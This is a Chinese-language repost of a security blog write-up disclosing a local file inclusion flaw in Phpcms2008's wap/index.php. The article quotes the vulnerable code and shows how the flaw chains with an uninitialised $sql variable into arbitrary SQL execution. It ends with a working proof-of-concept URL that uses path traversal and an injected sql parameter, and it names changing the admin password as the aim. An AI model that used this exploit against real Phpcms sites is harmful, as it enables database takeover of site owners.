当前位置:七道奇文章资讯安全技术网络技术
日期:2010-10-06 00:31:00  来源:本站整理

Phpcms2008本地文件包含漏洞及操纵:肆意SQL语句履行[网络技术]

赞助商链接



  本文“Phpcms2008本地文件包含漏洞及操纵:肆意SQL语句履行[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

近来一向做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲讽!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧.乌云的文章在此:http://www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下.

Phpcms2008之前已经暴过很多问题了,但这个本地包含一向无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即便不通过旁注也是有办法操纵的,那就是增添管理员大概改正管理员密码!

好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧.很明显的漏洞,不知道为啥还在phpcms中呈现,先看代码:

文件在wap/index.php

<?php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT'])) 
{
    header('location:../');//判断,调试时先注释掉,from http://www.oldjun.com
}
wmlHeader($PHPCMS['sitename']);//判断,调试时先注释掉,from http://www.oldjun.com

$action = isset($action) && !empty($action) ? $action : 'index';//直接把action带进来了,from http://www.oldjun.com

if($action) 
{
    include './include/'.$action.'.inc.php';//本地包含,from http://www.oldjun.com
}

$html =  CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;
echo str_replace('
', "
\n", $html);
wmlFooter();
?>

去掉几处判断条件便可以调试了,action没有举行限制与过滤,然后悲剧的全局:

if($_REQUEST)
{
    if(MAGIC_QUOTES_GPC)
    {
        $_REQUEST = new_stripslashes($_REQUEST);
        if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
        extract($db->escape($_REQUEST), EXTR_SKIP);
    }
    else
    {
        $_POST = $db->escape($_POST);
        $_GET = $db->escape($_GET);
        $_COOKIE = $db->escape($_COOKIE);
        @extract($_POST,EXTR_SKIP);
        @extract($_GET,EXTR_SKIP);
        @extract($_COOKIE,EXTR_SKIP);
    }
    if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
    if($_COOKIE) $db->escape($_COOKIE);
}

于是可以成功本地包含,剩下来的就是这个本地包含怎么操纵的问题了.包含的文件限制为*.inc.php,phpcms的开辟者非常喜好用这个命名法则,于是好多好多文件都是阐明什么.inc.php,随便包含一个有操纵代价的便可,随便找找:

formguide/admin/include/fields/datetime/field_add.inc.php

<?php 
if($dateformat == 'date')
{
    $sql = "ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT '0000-00-00'";
}
elseif($dateformat == 'datetime')
{
    $sql = "ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00'";
}
elseif($dateformat == 'int')
{
    if($format)
    $sql = "ALTER TABLE `$tablename` ADD `$field` INT UNSIGNED NOT NULL DEFAULT '0'";
}

$db->query($sql);//$sql等于没有初始化,from http://www.oldjun.com
?>

$dateformat不初始化,$sql就没有初始化,于是直接可以履行了:

POC:
http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=select 1


  以上是“Phpcms2008本地文件包含漏洞及操纵:肆意SQL语句履行[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • <b>Linux 下 Nginx phpcgi 的安装及配置</b>
  • phpCB配合ultraedit美化PHP代码
  • Phpcms2008本地文件包含漏洞及操纵:肆意SQL语句履行
  • PhpCms2008 注射漏洞0day及修复
  • phpcms 2008 sp4 爆途径及肆意文件删除漏洞及修复
  • PHPCMS通杀XSS及修复
  • PHPCMS2008使改正文章后文章时间仍为发表时的时间
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .